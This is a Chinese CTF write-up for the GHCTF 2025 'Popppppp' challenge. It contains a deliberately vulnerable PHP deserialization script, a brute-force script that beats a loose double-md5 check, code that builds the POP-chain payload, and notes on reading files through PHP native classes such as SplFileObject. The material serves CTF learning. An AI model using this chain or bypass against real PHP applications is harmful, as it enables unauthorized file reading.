[GHCTF 2025]Popppppp[pop链构造] [php原生类的利用] [双md5加密绕过]
题目
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Forbidden {
private $fruit3;
public function __construct($string) {
$this->fruit3 = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}
public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
class UselessTwo {
public $hiddenVar = "123123";
public function __construct($value) {
$this->hiddenVar = $value;
}
public function __toString() {
return $this->hiddenVar;
}
}
class Warrior {
public $fruit12;
private $fruit13;
public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}
class UselessThree {
public $dummyVar;
public function __call($name, $args) {
return $name;
}
}
class UselessFour {
public $lalala;
public function __destruct() {
echo "Hehe";
}
}
if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}
这个一开始真没看出来是原生类的利用,光知道call_user_func()了
一些魔术方法再次复习:
- __call():当访问不存在的方法时调用
- __set():当给一个不存在的属性赋值的时候触发
- __get():当访问不存在的属性的时候调用
- __invoke():当把类当作函数调用的时候触发
双重md5加密绕过
if (md5(md5($this->fruit11)) == 666)
ai写的脚本
import hashlib #可以进行md5计算(哈希)
import itertools #创建迭代器
def find_collision():
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for s in itertools.product(chars, repeat=4):
# 使用itertools.product函数生成所有可能的长度为 4 的字符串组合,根据计算力调整长度
s = ''.join(s)
first_hash = hashlib.md5(s.encode()).hexdigest()
second_hash = hashlib.md5(first_hash.encode()).hexdigest()
if second_hash.startswith('666') and not second_hash[3].isdigit():
return s
return None
solution = find_collision()
print(f"Payload: {solution}") # 输出符合要求的字符串
爆破得 abe2 可以
pop链
CherryBlossom()--->Samurai()--->Warlord()--->Philosopher()--->Mystrey()
__destruct() __toString() __call() __invoke() __get()
fruit1 fruit6 fruit4 fruit10
$cb=new CherryBlossom();
$cb->fruit1=new Samurai();
$cb->fruit1->fruit6=new Warlord();
$cb->fruit1->fruit6->fruit4=new Philosopher();
$cb->fruit1->fruit6->fruit4->fruit10=new Mystery();
echo serialize($cb);
利用array_walk():
array_walk()用于遍历数组并对每个元素执行自定义的回调函数
在这里是:
array_walk($this, function ($day1, $day2) //day1是参数,day2是原生类
{
$day3 = new $day2($day1); //实例化类 此时day3应该是数组之类的东西
foreach ($day3 as $day4)
{
echo ($day4 . '<br>');
}
});
遍历类 $this,但是他是一个类不是数组,在php底层会将类转换成数组:
规则如下:
公共属性(
public
):会被保留,键名为属性名,键值为属性值。受保护属性(
protected
):键名前会添加\0*\0
(空字符标记),例如\0*\0fruit9
。私有属性(
private
):键名前会添加\0类名\0
,例如\0Forbidden\0fruit3
。
也就是说这里如果自己设置一个属性,键值和键名都是我们来定义,就用到了php原生类
php常见原生类读取文件
名字 | 作用 | 举例 |
DirectoryIterator | 查看文件系统目录(查看目录) | DirectoryIterator("/") |
FilesystemIterator | 基本同上 | FilesystemIterator("/") |
GlobIterator | 可以通过模式匹配来寻找文件路径 | GlobIterator("f*.txt")[知道文件部分名字] |
SplFileObject | 文件内容的遍历、查找和操作(查看文件) | SplFileObject("/path/to/file.txt") |
查看目录用 DirectoryIterator 或者 FilesystemIterator 都行
查看文件用 SplFileObject